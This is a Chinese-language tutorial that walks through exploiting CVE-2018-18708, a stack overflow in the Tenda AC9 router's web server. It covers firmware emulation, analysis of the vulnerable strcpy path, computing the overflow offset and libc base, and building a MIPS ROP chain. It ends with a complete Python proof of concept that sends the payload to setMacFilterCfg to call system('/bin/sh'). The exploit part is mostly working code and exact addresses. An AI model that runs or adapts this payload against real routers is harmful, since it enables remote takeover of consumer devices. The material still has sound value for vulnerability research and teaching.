CVE-2018-18708 TENDA 缓冲区溢出 getshell
mips架构简介
寄存器
寄存器 名字 用法
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0-$v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8-$15 $t0-$t7 暂时的(或随便用的)
$16-$23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 $t8-$t9 暂时的(或随便用的)
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)
$31 $ra 返回地址(return address)
参数传递:如果参数少于4个,通过a0-a3寄存器传递参数,否则其余通过堆栈传递。
参数作为调用者(caller)栈帧的一部分,4个32bits空间为a0~a3预留(即使参数通过寄存器传递)。被调者(callee)在函数前言部分分配自己的栈空间分配(返回地址/栈帧指针/局部变量),同时栈帧指针(fp)将指向最新的栈空间,并且所有局部变量通过栈帧指针偏移寻址,堆栈指针(sp)不再发生变化。

以上即为在mips架构中用到的寄存器以及寄存器的作用。这边重点讲一下$ra、$a0这两个寄存器,因为$ra寄存器为函数的返回地址,进行栈溢出时需要对函数返回地址进行覆盖;$a0这个寄存器存放的数据为函数的第一个参数,例如在函数system(“/bin/sh”)中,$a0寄存器存放的值即为”/bin/sh”,这给我们在gadget构造中具有指向作用。
Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载:https://www.tenda.com.cn/service/download-cata-11.html
仿真模拟
binwalk导出固件文件系统
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin
查看文件信息,mips,小端序,所以需要使用对应的qemu-mipsel-static来模拟。
readelf -h ./bin/httpd
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin

可以看出是mips架构因此我们需要用qemu-mipsel-static模式进行仿真。
为了执行文件,我们需要给httpd文件打上patch.

然后建立一个虚拟网卡,用于之后的gdb调试。
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
将qemu-mipsel-static拷贝到目录下,然后以qemu-mipsel-static模式运行
cp $(which qemu-mipsel-static) .
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

如果有报错信息可以按照提示目录创建目标文件。
漏洞分析
漏洞函数就是strcpy中,因为没有限制长度而存在的溢出,从而在上一个函数set_macfilter_rules_by_one引发栈溢出。
我们通过查询交叉引用来找到引发漏洞函数的执行流程。
formSetMacFilterCfg -> set_macfilter_rules -> set_macfilter_rules_by_one -> parse_macfilter_rule
1.formSetMacFilterCfg
对传入的rule_list进行判断,如果为black或者white就返回0,如果不是就返回2。用burp抓包也会返回error2

2.set_macfilter_rules
判断数据段是否有\n 所以之后我们构造的rop链中也要包含 \n

3.set_macfilter_rules_by_one
4.parse_macfilter_rule
判断字符串开头是否为\r ,所以rop链中开头为 \r

漏洞分析完毕,之后就需要判断需要溢出的长度。这里可以用cyclic或者是用gdb调试来得出
在set_macfilter_rules_by_one栈中的情况

0x1d4 + 4 = 0x1D8 = 472
所以我们需要需要填充472个字符然后再覆盖返回地址。但是ida计算的偏移可能是错误的,所以还是要调试一下。
#!/usr/bin/python3
import requests
from pwn import *
url = "http://192.168.183.133/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"}
requests.post(url, cookies=cookie, data=data)


可以看见ra被覆盖为了bbbb,这就说明我们的计算是正确的。
漏洞利用
寻找libc基址
方法1 :
直接利用vmmap,找到libc,里面带有执行权限 x 的 就是libc的基地址。
方法2 :
在刚进入formSetMacFilterCfg函数时,也即0x04E6E0C处打下断点。用bt查看栈中函数链

发现栈中有一个来自libc中的函数。我们在libc里面寻找__uClibc_main ,在export导出表找到了。

计算一下0x7f583804 - 0x005F804 = 0x7F524000
这样也可以寻找到libc基地址
构造rop链
对于mips下rop链的构造,经常使用到的是move $a0 $s0 。 我们可以使用一个ida工具mipsrop来寻找
在File -> script command 执行两句话
然后执行 mipsrop.find(“move $a0 $s0”)
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000DC1C | move $a0,$s0 | jalr $s1 |
| 0x00014EBC | move $a0,$s0 | jalr $s7 |
| 0x00014F80 | move $a0,$s0 | jalr $s6 |
| 0x00015E04 | move $a0,$s0 | jalr $s7 |
| 0x00015EC8 | move $a0,$s0 | jalr $s6 |
| 0x00018BA0 | move $a0,$s0 | jalr $s1 |
| 0x0001998C | move $a0,$s0 | jalr |
随便选择一个,我们就选择0x0000DC1C

这个gadget可以直接跳转到s0所存储的函数,所以我们在gadget中把system地址放在s1 , 把”/bin/sh”放在s0
同样,我们为了寻找给s0,s1赋值的gadget ,可以输入mipsrop.find(“lw $s0”)


那么我们对所有需要的寄存器都可以进行控制了,rop链构造为
b"\r" + b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)
报错解决
根据我们得到的rop链打一下
#!/usr/bin/python3
import requests
from pwn import *
url = "http://192.168.183.133/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C #0x7F524000
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530 #0x7F584530
gadget2=libc_base+0x0000DC1C #0x7F531C1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)
}
requests.post(url, cookies=cookie, data=data)
但是却报错 了

经过调试发现是进入snprintf时候报错

继续进行调试,找到strcpy之前上一个函数的栈帧

strcpy执行之后的栈帧

对比可以发现,我们覆盖掉了上一函数传入的参数,而在执行snprintf的时候会用到所传入的参数,所以我们需要把传入的第一个参数修改为一个可以访问的地址
最后
将第一个参数的位置改为可访问的地址
data = {“macFilterType”: “black”, “deviceList”:b”\r” + b”A” * 472 + p32(gadget1)+p32(0x7FFFF090)+b”A”*20+p32(binsh_addr)+p32(system_addr)+b”A”*12+p32(gadget2)}
修改poc
#!/usr/bin/python3
import requests
from pwn import *
url = "http://192.168.183.133/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C #0x7F524000
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530 #0x7F584530
gadget2=libc_base+0x0000DC1C #0x7F531C1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}
requests.post(url, cookies=cookie, data=data)
最后成功getshell





